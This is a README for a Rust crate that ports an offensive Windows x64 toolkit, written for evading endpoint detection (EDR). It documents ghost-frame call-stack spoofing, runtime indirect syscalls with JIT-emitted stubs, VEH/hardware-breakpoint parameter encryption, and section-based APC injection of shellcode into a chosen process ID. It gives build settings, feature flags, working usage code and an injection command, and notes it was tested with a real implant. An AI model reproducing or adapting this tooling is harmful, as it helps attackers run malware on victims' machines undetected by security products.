
Rust crate for ghost-frame call-stack spoofing, runtime indirect syscalls, and APC injection on Windows x64. Provides SSN resolution, JIT stub emission, and VEH-based parameter encryption for EDR evasion.
Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — ported to Rust.
Ported from LACUNA Chain (lacuna_chain.c) by Mohamed Alzhrani (0xmaz).
lacuna-rs is a reusable Rust crate that provides the same primitives as the original C TTP, structured so it can be dropped into any Rust project — like wsyscall-rs or syscalls-rs, but with runtime SSN resolution, per-function syscall;ret targeting, and ghost-frame stack spoofing.
The
stack-spooffeature will silently fail if the consuming crate is not compiled with frame pointers.
The stack-stomping primitives in chain.rs locate the caller's return-address slot via mov rbp, {x} inline asm. This requires the RBP chain to be intact. Rust (and most release-mode compilers) omit frame pointers by default.
build.rs sets force-frame-pointers=yes for this crate's own codegen, but Cargo cannot propagate compiler flags to downstream crates. You must add this to your own project:
# .cargo/config.toml (in YOUR crate, not in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Without this, stomp_plant() will read garbage from RBP and either no-op (best case) or corrupt the stack (worst case). The crate has no way to detect at runtime whether frame pointers are enabled — it will simply not work.
If you only need the scanning, SSN resolution, or injection primitives (without stack spoofing), you can omit the stack-spoof feature and this requirement does not apply.
| Primitive | C function | Rust module |
|---|---|---|
| PE section + export parsing | pe_section(), pe_export() | pe |
.pdata ghost-region scanning | scan_ghosts(), best_ghost() | scan |
Ghost-gadget discovery (jmp [rbx]) | scan_ghost_gadgets() | scan |
win32u NOP-gap finder | win32u_nop_gap() | scan |
| BYOUD-MF anchor finder | find_mf_target() | scan |
| SSN resolution (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
Per-function syscall;ret locator | find_func_syscall() | nt |
| JIT indirect-syscall stub emission | alloc_stub() | stub |
| Ghost-gadget stub redirect | (in alloc_stub()) | stub |
| VEH + hardware-breakpoint param encryption | param_encrypt_veh(), pcrypt_arm() | veh |
| Chain-guard VEH | chain_veh() | veh |
| LACUNA chain construction | build_chain() | chain |
| Stack stomp (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| Chain walker (verify) | lacuna_walk_chain() | chain |
| Section-based APC injection | do_inject_sapc() | inject |
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
| Feature | Description | Requires frame pointers? |
|---|---|---|
syscalls (default) | SSN resolution + JIT stub emission | No |
inject (default) | Section-based APC injection (inject::inject_sapc) | No |
veh | VEH + hardware-breakpoint parameter encryption | No |
stack-spoof | LACUNA ghost-frame chain + stack stomp | Yes |
no-std | no_std mode (experimental) | No |
When no features are enabled, only the scanning/PE/NT layers are available.
cargo run --example scan
cargo run --example verify --features stack-spoof
Injection Example with real implant - C2 was offline but the Shellcode executed
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
Add --verbose to enable VEH diagnostic output (stack dumps, register prints):
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
Instead of queueing APCs to every thread in the target process (which can crash
the process when too many threads are alerted simultaneously), inject_sapc
uses a scoring algorithm to select the best MAX_APC_THREADS (5) candidates:
NtQueryInformationThread(ThreadCycleTime) — primary activity indicatorNtQueryInformationThread(ThreadTimes) — kernel + user timeNtQueryInformationThread(ThreadSuspendCount) — non-suspended threads get +300 bonus; suspended threads get -150 per suspend countNtQueryInformationThread(ThreadBasicInformation) — threads with priority 8-10 get +150 bonus; out-of-range priorities get -100 penaltyCompletely idle threads (zero cycles and zero CPU time) are skipped entirely. The remaining candidates are sorted by score (highest first, tie-break on cycles) and truncated to the top 5.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Scan for ghost regions
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);
// Resolve SSN + syscall;ret for a specific function
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// Resolve SSN + the function's own syscall;ret address
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");
// Cast to the matching function pointer type and call
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct
// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route
// through JMP [RBX] in a signed DLL.
lacuna::chain::build_chain();
// Register VEH handlers (param encryption + chain guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");
// Optional: enable verbose diagnostics at runtime
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Plant ghost frames (replaces return addresses with signed-DLL ghosts)
lacuna::chain::stomp_plant();
// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// Call through the indirect stub -- RIP lands inside ntdll at kernel entry
let _status = unsafe { open_proc(/* XOR-encrypted params */) };
// Always disarm before any non-protected call
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
Not every API call needs the full LACUNA treatment. The key principle is: hide the calls that an EDR would correlate as injection or post-exploitation activity.
These are the "crown jewel" NT syscalls that EDRs hook and correlate: